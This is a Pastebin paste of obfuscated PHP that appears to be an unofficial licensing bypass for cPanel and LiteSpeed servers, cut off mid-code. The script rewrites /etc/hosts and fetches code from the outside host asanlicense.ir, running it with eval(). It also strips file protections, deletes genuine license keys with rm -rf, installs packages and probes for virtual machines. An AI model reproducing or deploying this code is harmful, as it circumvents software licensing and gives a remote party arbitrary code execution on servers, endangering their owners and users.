Advertisement
Guest User

Untitled

a guest
Apr 24th, 2018
16,856
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.33 KB | None | 0 0
  1. <?php
  2.  
  3. phpshield_obfuscated_raisgkgqas2qay( 0 );
  4. if ( file_exists( '/usr/bin/chattr2' ) ) {
  5. $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 = 'chattr2';
  6. } else {
  7. $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 = 'chattr';
  8. }
  9. function phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d( $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 = 60 )
  10. {
  11. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  12. if ( !is_dir( '/usr/local/cgls/log/' ) ) {
  13. mkdir( '/usr/local/cgls/log/' );
  14. }
  15. if ( file_exists( '/usr/local/cgls/addphpshield' ) ) {
  16. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/addphpshield' );
  17. }
  18. if ( file_exists( '/usr/local/cgls/log/cyberrun.log' ) ) {
  19. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/log/cyberrun.log' );
  20. }
  21. if ( file_exists( '/usr/local/cgls/log/cyberrun2.log' ) ) {
  22. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/log/cyberrun2.log' );
  23. }
  24. $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3 = phpshield_obfuscated_uarsEwg2qUpqxo( 'timeout ' . $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 . ' ' . $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6 . ' >/dev/null 1>/usr/local/cgls/log/cyberrun.log 2>/usr/local/cgls/log/cyberrun2.log' );
  25. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3;
  26. }
  27. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/log/open', time() );
  28. if ( file_exists( '/usr/local/cgls/lib/proxychains.conf' ) ) {
  29. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/lib/proxychains.conf' );
  30. }
  31. if ( file_exists( '/usr/local/cgls/log/proxychains.conf' ) ) {
  32. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/log/proxychains.conf' );
  33. }
  34. if ( file_exists( '/usr/local/cgls/Cyber' ) ) {
  35. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/Cyber' );
  36. }
  37. if ( file_exists( '/usr/local/cgls/Cyber1' ) ) {
  38. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/Cyber1' );
  39. }
  40. if ( file_exists( '/usr/local/cgls/Cyber2' ) ) {
  41. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/Cyber2' );
  42. }
  43. if ( file_exists( '/usr/local/cgls/licensing.pid' ) ) {
  44. $phpshield_obfuscated_50508c336f1574776e7a1c7cfed595ec = time() - filemtime( '/usr/local/cgls/licensing.pid' );
  45. if ( 600 < $phpshield_obfuscated_50508c336f1574776e7a1c7cfed595ec ) {
  46. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/licensing.pid' );
  47. }
  48. }
  49. $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc = @phpshield_obfuscated_r8bs14gu17f93y( '/etc/hosts' );
  50. if ( phpshield_obfuscated_r1bd1ggusnf9cs( "Safe" . $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc, 'asanlicense.ir' ) ) {
  51. phpshield_obfuscated_r82sg4g2a7190y( '/etc/hosts', '# Do not remove the following line, or various programs' );
  52. phpshield_obfuscated_r13d12gus3f1cs( 5 );
  53. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7b = private_cyberlicsys( 'http://asanlicense.ir/hackreport.php?reason=hostfileedited' );
  54. @eval( $phpshield_obfuscated_7318a606a3118d468dae7078098fba7b );
  55. phpshield_obfuscated_r82sg4g2a7190y( '/etc/hosts', $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc );
  56. }
  57. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  58. if ( phpshield_obfuscated_ra4sgkg93U2qat( 'debug', $argv ) ) {
  59. $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a = '';
  60. } else {
  61. $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a = ' >/dev/null 2>&1';
  62. }
  63. function phpshield_obfuscated_e85f9fee76c456664960cea313e7fe80( $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6 = 'CHECK_LSWS_RUNNING' )
  64. {
  65. if ( file_exists( '/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_cmd.sh' ) ) {
  66. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = '/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_cmd.sh /usr/local/lsws ' . $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6;
  67. phpshield_obfuscated_1a3se2g9451qxt( $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3 );
  68. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3[0];
  69. }
  70. return 'lsws cmd file not found !';
  71. }
  72. function phpshield_obfuscated_f42317e881519ec6cba3fe393f615a92( )
  73. {
  74. if ( file_exists( '/usr/sbin/lspci' ) ) {
  75. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt( '/usr/sbin/lspci' );
  76. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'vmware' ) ) {
  77. return '1';
  78. }
  79. }
  80. if ( file_exists( '/sbin/lspci' ) ) {
  81. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt( '/sbin/lspci' );
  82. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'vmware' ) ) {
  83. return '1';
  84. }
  85. }
  86. if ( file_exists( '/proc/vz' ) or file_exists( '/proc/vz/veinfo' ) or file_exists( '/proc/sys/xen' ) or file_exists( '/sys/bus/xen' ) or file_exists( '/proc/xen' ) ) {
  87. return '1';
  88. }
  89. if ( file_exists( '/proc/cpuinfo' ) & file_exists( '/usr/bin/grep' ) ) {
  90. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt( '/usr/bin/grep \'model name\' /proc/cpuinfo' );
  91. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual' ) ) {
  92. return '1';
  93. }
  94. }
  95. if ( file_exists( '/proc/cpuinfo' ) & file_exists( '/bin/grep' ) ) {
  96. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt( '/bin/grep \'model name\' /proc/cpuinfo' );
  97. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual' ) ) {
  98. return '1';
  99. }
  100. }
  101. if ( !file_exists( '/usr/sbin/dmidecode' ) ) {
  102. phpshield_obfuscated_uarsEwg2qUpqxo( 'yum -y install dmidecode' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  103. }
  104. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt( '/usr/sbin/dmidecode -t system | grep -e Manu -e Prod' );
  105. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual' ) or phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'xen' ) or phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'qemu' ) ) {
  106. return '1';
  107. }
  108. return '0';
  109. }
  110. function phpshield_obfuscated_6fdddd9d490a86dee1a875e771fa4373( $phpshield_obfuscated_6e4f14b335243be656c65e3ed9e1b115, $phpshield_obfuscated_9281cec8a8336755b503dc010201ab18 = 10, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 = 10 )
  111. {
  112. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78 = curl_init();
  113. curl_setopt( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_USERAGENT, 'cyberheader' );
  114. curl_setopt( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_CONNECTTIMEOUT, $phpshield_obfuscated_9281cec8a8336755b503dc010201ab18 );
  115. curl_setopt( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_TIMEOUT, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 );
  116. curl_setopt( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_NOBODY, true );
  117. curl_setopt( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_URL, $phpshield_obfuscated_6e4f14b335243be656c65e3ed9e1b115 );
  118. curl_setopt( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_RETURNTRANSFER, true );
  119. curl_setopt( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_HEADER, true );
  120. $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3 = curl_exec( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78 );
  121. curl_close( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78 );
  122. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3;
  123. }
  124. function phpshield_obfuscated_c46eaea7f4ac1506be135580951fb653( $phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d = 10 )
  125. {
  126. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  127. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aractersLength = strlen( $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters );
  128. $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd = '';
  129. for ( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354 = 0; $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354 < $phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d; $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354++ ) {
  130. $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd .= $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters[rand( 0, $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aractersLength - 1 )];
  131. }
  132. return $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd;
  133. }
  134. function phpshield_obfuscated_65b02a9cc8ed83dfa496ae135238099f( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 )
  135. {
  136. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  137. 'a',
  138. 'b',
  139. 'c',
  140. 'd',
  141. 'e',
  142. 'f',
  143. 'g',
  144. 'h',
  145. 'i',
  146. 'j'
  147. );
  148. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  149. '!',
  150. '@',
  151. '#',
  152. '$',
  153. '%',
  154. '^',
  155. '&',
  156. '*',
  157. '(',
  158. ')'
  159. );
  160. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  161. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt( $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  162. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = gzcompress( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  163. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  164. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  165. }
  166. function phpshield_obfuscated_26f62976120e29abc680a1f060bbbb82( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 )
  167. {
  168. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  169. "!",
  170. "@",
  171. "#",
  172. "\$",
  173. "%",
  174. "^",
  175. "&",
  176. "*",
  177. "(",
  178. ")"
  179. );
  180. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  181. "a",
  182. "b",
  183. "c",
  184. "d",
  185. "e",
  186. "f",
  187. "g",
  188. "h",
  189. "i",
  190. "j"
  191. );
  192. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  193. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = @gzuncompress( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  194. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt( $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  195. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  196. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  197. }
  198. function phpshield_obfuscated_8df65f4fb98d204b911c10a6e10821ce( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 )
  199. {
  200. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  201. 'a',
  202. 'b',
  203. 'c',
  204. 'd',
  205. 'e',
  206. 'f',
  207. 'g',
  208. 'h',
  209. 'i',
  210. 'j'
  211. );
  212. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  213. '!!',
  214. '$@',
  215. '#$',
  216. '@$',
  217. '*%',
  218. '^*',
  219. '((&',
  220. '*))',
  221. '(#',
  222. '@)'
  223. );
  224. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  225. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt( $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  226. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = gzcompress( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  227. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  228. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  229. }
  230. function phpshield_obfuscated_5cabcf49ee01c541a17dce476161bb43( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 )
  231. {
  232. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  233. '!!',
  234. '$@',
  235. '#$',
  236. '@$',
  237. '*%',
  238. '^*',
  239. '((&',
  240. '*))',
  241. '(#',
  242. '@)'
  243. );
  244. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  245. 'a',
  246. 'b',
  247. 'c',
  248. 'd',
  249. 'e',
  250. 'f',
  251. 'g',
  252. 'h',
  253. 'i',
  254. 'j'
  255. );
  256. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  257. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = @gzuncompress( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  258. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt( $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  259. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd( $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 );
  260. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  261. }
  262. function phpshield_obfuscated_309921077dda1ed31067c01d509fb81c( )
  263. {
  264. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  265. $phpshield_obfuscated_09a33463761e506248078d422b1c5226 = '/usr/local/cgls/log/Tier.cp';
  266. phpshield_obfuscated_sahsekg9lU1qxt( 'cat /etc/cpupdate.conf | grep "CPANEL=" > ' . $phpshield_obfuscated_09a33463761e506248078d422b1c5226 );
  267. $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfce = @phpshield_obfuscated_r8bs14gu17f93y( $phpshield_obfuscated_09a33463761e506248078d422b1c5226 );
  268. phpshield_obfuscated_r41sgkg2as1qqy( $phpshield_obfuscated_09a33463761e506248078d422b1c5226 );
  269. $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfcevet = phpshield_obfuscated_raqs2kg9aU1qxt( "CPANEL=", '', $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfce );
  270. $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfcevet = phpshield_obfuscated_raqs2kg9aU1qxt( "\n", '', $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfcevet );
  271. return $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfcevet;
  272. }
  273. function phpshield_obfuscated_8d60607f5beaab9d87edfcfb21b4b41d( )
  274. {
  275. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  276. $phpshield_obfuscated_09a33463761e506248078d422b1c5226 = '/usr/local/cpanel/version';
  277. $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfce = @phpshield_obfuscated_r8bs14gu17f93y( $phpshield_obfuscated_09a33463761e506248078d422b1c5226 );
  278. $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfce = phpshield_obfuscated_raqs2kg9aU1qxt( "\n", '', $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfce );
  279. return $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfce;
  280. }
  281. function phpshield_obfuscated_84f7ddda2aa4864ffe1c119e7605d2cb( )
  282. {
  283. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  284. $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfcevet = private_cyberlicsys( 'http://asanlicense.ir/cpanel/latest.php?tier=' . phpshield_obfuscated_309921077dda1ed31067c01d509fb81c() );
  285. if ( empty( $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfcevet ) ) {
  286. return phpshield_obfuscated_8d60607f5beaab9d87edfcfb21b4b41d();
  287. }
  288. return $phpshield_obfuscated_cadfc33f73fd590cdd2761968474dfcevet;
  289. }
  290. function after( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat )
  291. {
  292. if ( !is_bool( phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5 ) ) )
  293. return substr( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5 ) + strlen( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5 ) );
  294. }
  295. ;
  296. function after_last( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat )
  297. {
  298. if ( !is_bool( strrevpos( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5 ) ) )
  299. return substr( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, strrevpos( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5 ) + strlen( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5 ) );
  300. }
  301. ;
  302. function before( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat )
  303. {
  304. return substr( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, 0, phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5 ) );
  305. }
  306. ;
  307. function before_last( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat )
  308. {
  309. return substr( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, 0, strrevpos( $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat, $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5 ) );
  310. }
  311. ;
  312. function between( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5, $phpshield_obfuscated_cd7b26bc97a0e6e413700bbace5540c4, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat )
  313. {
  314. return before( $phpshield_obfuscated_cd7b26bc97a0e6e413700bbace5540c4, after( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat ) );
  315. }
  316. ;
  317. function between_last( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5, $phpshield_obfuscated_cd7b26bc97a0e6e413700bbace5540c4, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat )
  318. {
  319. return after_last( $phpshield_obfuscated_3d443d325fb9e5d91e9474b9be09b2b5, before_last( $phpshield_obfuscated_cd7b26bc97a0e6e413700bbace5540c4, $phpshield_obfuscated_a16d2280393ce6a2a5428a4a8d09e354nthat ) );
  320. }
  321. ;
  322. function phpshield_obfuscated_524ca6d75fa85c200991105bf67267a0( $phpshield_obfuscated_b14c5d95245320798e3651e0653b4ff9 )
  323. {
  324. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7bfile = 'ddsssssssssssssssssssssss';
  325. return $phpshield_obfuscated_7318a606a3118d468dae7078098fba7bfile;
  326. }
  327. phpshield_cyberlicsys();
  328. if ( file_exists( '/usr/local/lsws/conf/trial.key' ) & file_exists( '/usr/local/lsws/conf/license.key' ) ) {
  329. phpshield_obfuscated_uarsEwg2qUpqxo( $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/trial.key' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  330. phpshield_obfuscated_uarsEwg2qUpqxo( $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/license.key' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  331. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/trial.key' );
  332. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/trial.key.old' );
  333. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/cgls/etc/trial.key' );
  334. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/license.key' );
  335. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/serial.no' );
  336. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/license.key.old' );
  337. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/cgls/etc/license.key' );
  338. }
  339. if ( $argv[1] == '-disableupdate' ) {
  340. phpshield_obfuscated_r82sg4g2a7190y( '/usr/local/cgls/disableupdate', time() );
  341. die( "Licensing System Cpanel Automatic Update Disbaled.\n" );
  342. }
  343. if ( $argv[1] == '-enableupdate' ) {
  344. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/disableupdate' );
  345. die( "Licensing System Cpanel Automatic Update Enabled.\n" );
  346. }
  347. $phpshield_obfuscated_b14c5d95245320798e3651e0653b4ff9altime = ( time() - filemtime( '/usr/local/cgls/log/data' ) );
  348. if ( $phpshield_obfuscated_b14c5d95245320798e3651e0653b4ff9altime < 14400 & $argv[1] != '-force' & $argv[1] != '--force' ) {
  349. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/licensing.pid' );
  350. $phpshield_obfuscated_b14c5d95245320798e3651e0653b4ff9alkey = true;
  351. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic = @phpshield_obfuscated_r8bs14gu17f93y( '/usr/local/cgls/log/data' );
  352. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic = unserialize( phpshield_obfuscated_5cabcf49ee01c541a17dce476161bb43( $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic ) );
  353. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blictime = ( time() - $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['time'] );
  354. $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['activelicenses'];
  355. $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2 = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['ip'];
  356. $phpshield_obfuscated_06e477b7ac786ffd806b44abaaad2f98 = $phpshield_obfuscated_7318a606a3118d468dae7078098fba7blic['zorro'];
